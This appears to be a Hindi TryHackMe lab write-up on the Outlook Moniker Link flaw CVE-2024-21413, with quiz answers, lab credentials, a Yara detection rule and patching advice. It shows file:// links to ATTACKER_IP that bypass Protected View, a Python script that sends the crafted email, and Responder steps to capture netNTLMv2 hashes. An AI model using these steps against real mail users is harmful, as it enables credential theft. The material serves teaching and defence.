
CVE-2024-21413 (Moniker Link) के लिए शैक्षिक शोषण जो क्राफ्टेड हाइपरलिंक्स के माध्यम से Outlook RCE और NTLM क्रेडेंशियल लीक प्रदर्शित करता है, पहचान और उपचार मार्गदर्शन के साथ।
13 फरवरी, 2024 को, Microsoft ने एक Microsoft Outlook RCE और क्रेडेंशियल लीक भेद्यता की घोषणा की जिसे CVE-2024-21413 (मोनिकर लिंक) निर्दिष्ट किया गया है। हैफेई ली ऑफ चेक पॉइंट रिसर्च को भेद्यता की खोज का श्रेय दिया जाता है।
यह भेद्यता एक विशिष्ट प्रकार के हाइपरलिंक को संभालते समय Outlook के सुरक्षा तंत्र को बायपास करती है जिसे मोनिकर लिंक के रूप में जाना जाता है। एक हमलावर इसका दुरुपयोग कर सकता है एक ईमेल भेजकर जिसमें एक दुर्भावनापूर्ण मोनिकर लिंक होता है, जिसके परिणामस्वरूप पीड़ित द्वारा हाइपरलिंक पर क्लिक करने पर Outlook उपयोगकर्ता के NTLM क्रेडेंशियल्स हमलावर को भेज देता है।
भेद्यता के स्कोरिंग से संबंधित विवरण नीचे दी गई तालिका में प्रदान किए गए हैं:
CVSS विवरण प्रकाशन तिथि 13 फरवरी, 2024 MS लेख https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2024-21413 प्रभाव दूरस्थ कोड निष्पादन और क्रेडेंशियल लीक गंभीरता गंभीर हमले की जटिलता निम्न स्कोरिंग 9.8
यह भेद्यता निम्नलिखित Office रिलीज़ को प्रभावित करने के लिए जानी जाती है:
रिलीज़ संस्करण Microsoft Office LTSC 2021 affected from 19.0.0 Microsoft 365 Apps for Enterprise affected from 16.0.1 Microsoft Office 2019 affected from 16.0.1 Microsoft Office 2016 affected from 16.0.0 before 16.0.5435.1001
ध्यान दें कि आपको इस कार्य से जुड़े AttackBox और असुरक्षित मशीन दोनों की आवश्यकता होगी। संलग्न VM को तैनात करने के लिए, नीचे हरे Start Machine बटन पर क्लिक करें।
उपयोगकर्ता नाम tryhackme पासवर्ड Kkh3gv439dnq!
CVE को कौन सी "गंभीरता" रेटिंग दी गई है? > उत्तर : गंभीर
Outlook ईमेल को HTML के रूप में रेंडर कर सकता है। आप देख सकते हैं कि आपके पसंदीदा न्यूज़लेटर इसका उपयोग कर रहे हैं। इसके अलावा, Outlook HTTP और HTTPS जैसे हाइपरलिंक को पार्स कर सकता है। हालांकि, यह ऐसे URL भी खोल सकता है जो मोनिकर लिंक के रूप में ज्ञात अनुप्रयोगों को निर्दिष्ट करते हैं। सामान्यतः, Outlook बाहरी अनुप्रयोगों को ट्रिगर करने पर एक सुरक्षा चेतावनी दिखाएगा।

यह पॉप-अप Outlook के "संरक्षित दृश्य" का परिणाम है। संरक्षित दृश्य अटैचमेंट, हाइपरलिंक और समान सामग्री वाले ईमेल को केवल-पढ़ने के मोड में खोलता है, जिससे मैक्रोज़ जैसी चीज़ें अवरुद्ध हो जाती हैं (विशेषकर संगठन के बाहर से)।
अपने हाइपरलिंक में file:// मोनिकर लिंक का उपयोग करके, हम Outlook को एक फ़ाइल (जैसे नेटवर्क शेयर पर एक फ़ाइल) तक पहुँचने का प्रयास करने का निर्देश दे सकते हैं (<a href="file://ATTACKER_IP/test">Click me</a>). SMB प्रोटोकॉल का उपयोग किया जाता है, जिसमें प्रमाणीकरण के लिए स्थानीय क्रेडेंशियल शामिल होते हैं। हालांकि, Outlook का "संरक्षित दृश्य" इस प्रयास को पकड़ लेता है और रोक देता है।
यहाँ भेद्यता हमारे हाइपरलिंक को संशोधित करके मौजूद है ताकि ! विशेष वर्ण और हमारे मोनिकर लिंक में कुछ पाठ शामिल हो, जिसके परिणामस्वरूप Outlook के संरक्षित दृश्य को बायपास किया जा सके। उदाहरण के लिए: <a href="file://ATTACKER_IP/test!exploit">Click me</a>।
हम, हमलावरों के रूप में, हमले के लिए इस प्रकार का मोनिकर लिंक प्रदान कर सकते हैं। ध्यान दें कि शेयर का रिमोट डिवाइस पर मौजूद होना आवश्यक नहीं है, क्योंकि एक प्रमाणीकरण प्रयास बिना शर्त किया जाएगा, जिससे पीड़ित के Windows netNTLMv2 हैश को हमलावर को भेजा जा सके।
दूरस्थ कोड निष्पादन (RCE) संभव है क्योंकि मोनिकर लिंक Windows पर कंपोनेंट ऑब्जेक्ट मॉडल (COM) का उपयोग करते हैं। हालांकि, इस कमरे के दायरे में इसकी व्याख्या वर्तमान में शामिल नहीं है, क्योंकि इस विशिष्ट CVE के माध्यम से RCE प्राप्त करने का कोई सार्वजनिक रूप से जारी प्रूफ ऑफ कॉन्सेप्ट नहीं है।
हाइपरलिंक में हम किस मोनिकर लिंक प्रकार का उपयोग करते हैं? > उत्तर : file:// Outlook के "संरक्षित दृश्य" को बायपास करने के लिए उपयोग किया जाने वाला विशेष वर्ण क्या है? > उत्तर : !
इस हमले के लिए, हम अपने पीड़ित को पिछले कार्य में दिए गए मोनिकर लिंक के समान एक ईमेल भेजेंगे। हमलावर के रूप में उद्देश्य पीड़ित को Outlook के "संरक्षित दृश्य" को बायपास करने वाले मोनिकर लिंक के साथ एक ईमेल तैयार करना है, जहाँ पीड़ित का क्लाइंट हमारी हमलावर मशीन से एक फ़ाइल लोड करने का प्रयास करेगा, जिसके परिणामस्वरूप पीड़ित का netNTLMv2 हैश कैप्चर हो जाएगा।
लेकिन पहले, मेरे द्वारा बनाए गए PoC (जो GitHub पर भी उपलब्ध है) को चलाते हैं।
''' Author: CMNatic | https://github.com/cmnatic Version: 1.0 | 19/02/2024 ''' import smtplib from email.mime.text import MIMEText from email.mime.multipart import MIMEMultipart from email.utils import formataddr sender_email = '[email protected]' # Replace with your sender email address receiver_email = '[email protected]' # Replace with the recipient email address password = input("Enter your attacker email password: ") html_content = """\ """ message = MIMEMultipart() message['Subject'] = "CVE-2024-21413" message["From"] = formataddr(('CMNatic', sender_email)) message["To"] = receiver_email # Convert the HTML string into bytes and attach it to the message object msgHtml = MIMEText(html_content,'html') message.attach(msgHtml) server = smtplib.SMTP('MAILSERVER', 25) server.ehlo() try: server.login(sender_email, password) except Exception as err: print(err) exit(-1) try: server.sendmail(sender_email, [receiver_email], message.as_string()) print("\n Email delivered") except Exception as error: print(error) finally: server.quit()
PoC:
चलिए अपनी हमलावर मशीन पर SMB लिसनर बनाने के लिए Responder का उपयोग करते हैं। THM AttackBox के लिए, इंटरफ़ेस -I ens5 होगा। यदि आप अपने स्वयं के डिवाइस (जैसे Kali) का उपयोग कर रहे हैं तो इंटरफ़ेस का नाम भिन्न होगा। यदि आप कुछ होमवर्क करना चाहते हैं, तो Impacket सर्वर का भी उपयोग किया जा सकता है।
हमारे AttackBox पर Responder प्रारंभ करना
root@attackbox:# responder -I ens5
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 3.1.1.0
Author: Laurent Gaffie ([email protected])
To kill this script hit CTRL-C
-- cut for brevity --
[+] Listening for events...
चलिए स्प्लिट-स्क्रीन व्यू में "CVE-2024-21413" पैन पर क्लिक करके असुरक्षित मशीन खोलते हैं।

डेस्कटॉप पर "Outlook" शॉर्टकट पर क्लिक करके Outlook खोलें। जब Outlook खुल जाए, तो पॉप-अप पर "I don't want to sign in or create an account" पर क्लिक करें।

दूसरे पॉप-अप को पॉप-अप के ऊपरी दाएँ कोने में "X" पर क्लिक करके खारिज करें (आपको अपनी स्क्रीन रिज़ॉल्यूशन के आधार पर विंडो को थोड़ा बाईं ओर खींचने की आवश्यकता हो सकती है)।

जब यह पूरा हो जाएगा, तो आप Outlook इंटरफ़ेस देखेंगे। इस कमरे के लिए, पीड़ित का मेलबॉक्स पहले से आपके लिए Outlook में सेटअप किया गया है।

अपने AttackBox पर वापस जाएँ। हम ऊपर दिए गए PoC को AttackBox पर कॉपी और पेस्ट करेंगे।
इसके लिए, हम AttackBox पर एक नई फ़ाइल बनाएंगे। nano exploit.py और स्प्लिट-स्क्रीन व्यू में स्लाइड-आउट ट्रे का उपयोग करें। इसे क्रियान्वित होते देखने के लिए नीचे दिए गए GIF देखें।

Python स्क्रिप्ट चलाने से पहले हमें अपने AttackBox पर कुछ प्रारंभिक सेटअप करने की आवश्यकता होगी:
जब यह हो जाए, तो हम एक्सप्लॉइट चला सकते हैं। जब हमलावर के ईमेल पासवर्ड के लिए संकेत दिया जाए, तो "attacker" दर्ज करें।
exploit.py चलाना
root@attackbox:# python3 exploit.py Enter your attacker email password: attacker
Python स्क्रिप्ट ईमेल भेजे जाने पर "Email delivered" प्रिंट करेगी। यदि स्क्रिप्ट प्रमाणीकरण विफलता के बारे में शिकायत करती है, तो सुनिश्चित करें कि आपने exploit.py में मानों को सही ढंग से बदल दिया है। अब, चलिए असुरक्षित मशीन पर वापस जाएँ और नए ईमेल की जाँच करें:
"Click me" हाइपरलिंक पर क्लिक करें और AttackBox पर अपने "Responder" टर्मिनल सत्र पर वापस जाएँ:

सफलता! पीड़ित के netNTLMv2 हैश को हमारे AttackBox पर कैप्चर कर लिया गया है।
AttackBox पर उपयोगकर्ता के हैश को कैप्चर करने के लिए हम जिस एप्लिकेशन का उपयोग करते हैं उसका नाम क्या है? > उत्तर : responder ईमेल में हाइपरलिंक पर क्लिक करने के बाद किस प्रकार का हैश कैप्चर किया जाता है? > उत्तर : netNTLMv2
फ्लोरियन रोथ द्वारा ईमेल का पता लगाने के लिए एक Yara नियम बनाया गया है जिसमें मोनिकर लिंक में file:\ तत्व होता है।
CVE
-2024-21413 Yara rule created by Florian Roth
user@yourmachine:# cat cve-2024-21413.yar
rule EXPL_CVE_2024_21413_Microsoft_Outlook_RCE_Feb24 {
meta:
description = "Detects emails that contain signs of a method to exploit CVE-2024-21413 in Microsoft Outlook"
author = "X__Junior, Florian Roth"
reference = "https://github.com/xaitax/CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability/"
date = "2024-02-17"
modified = "2024-02-19"
score = 75
strings:
$a1 = "Subject: "
$a2 = "Received: "
$xr1 = /file:\/\/\/\\\\[^"']{6,600}\.(docx|txt|pdf|xlsx|pptx|odt|etc|jpg|png|gif|bmp|tiff|svg|mp4|avi|mov|wmv|flv|mkv|mp3|wav|aac|flac|ogg|wma|exe|msi|bat|cmd|ps1|zip|rar|7z|targz|iso|dll|sys|ini|cfg|reg|html|css|java|py|c|cpp|db|sql|mdb|accdb|sqlite|eml|pst|ost|mbox|htm|php|asp|jsp|xml|ttf|otf|woff|woff2|rtf|chm|hta|js|lnk|vbe|vbs|wsf|xls|xlsm|xltm|xlt|doc|docm|dot|dotm)!/
condition:
filesize < 1000KB
and all of ($a*)
and 1 of ($xr*)
}
इसके अलावा, पीड़ित से क्लाइंट तक SMB अनुरोध को एक पैकेट कैप्चर में ट्रंकेटेड netNTLMv2 हैश के साथ देखा जा सकता है।

अगले कार्य पर जाने के लिए मुझे क्लिक करें! > उत्तर : कोई उत्तर नहीं
Microsoft ने फरवरी के “पैच ट्यूज़डे” रिलीज़ में इस भेद्यता को हल करने के लिए पैच शामिल किए हैं। आप Office बिल्ड द्वारा KB लेखों की एक सूची यहाँ देख सकते हैं। Windows Update या Microsoft Update Catalog के माध्यम से Office को अपडेट करने की दृढ़ता से अनुशंसा की जाती है।
इसके अलावा, इस बीच, सामान्य - सुरक्षित - साइबर सुरक्षा प्रथाओं का अभ्यास करने का एक समयानुकूल अनुस्मारक है। उदाहरण के लिए, उपयोगकर्ताओं को याद दिलाना:
चूंकि यह भेद्यता Outlook के संरक्षित दृश्य को बायपास करती है, इस हमले को रोकने के लिए Outlook को पुन: कॉन्फ़िगर करने का कोई तरीका नहीं है। इसके अलावा, SMB प्रोटोकॉल को पूरी तरह से रोकना हानिकारक से अधिक अच्छा हो सकता है, विशेष रूप से क्योंकि यह नेटवर्क शेयरों तक पहुँचने के लिए आवश्यक है। हालांकि, आप संगठन के आधार पर इसे फ़ायरवॉल स्तर पर अवरुद्ध करने में सक्षम हो सकते हैं।
अगले कार्य पर जाने के लिए मुझे क्लिक करें। > उत्तर : कोई उत्तर नहीं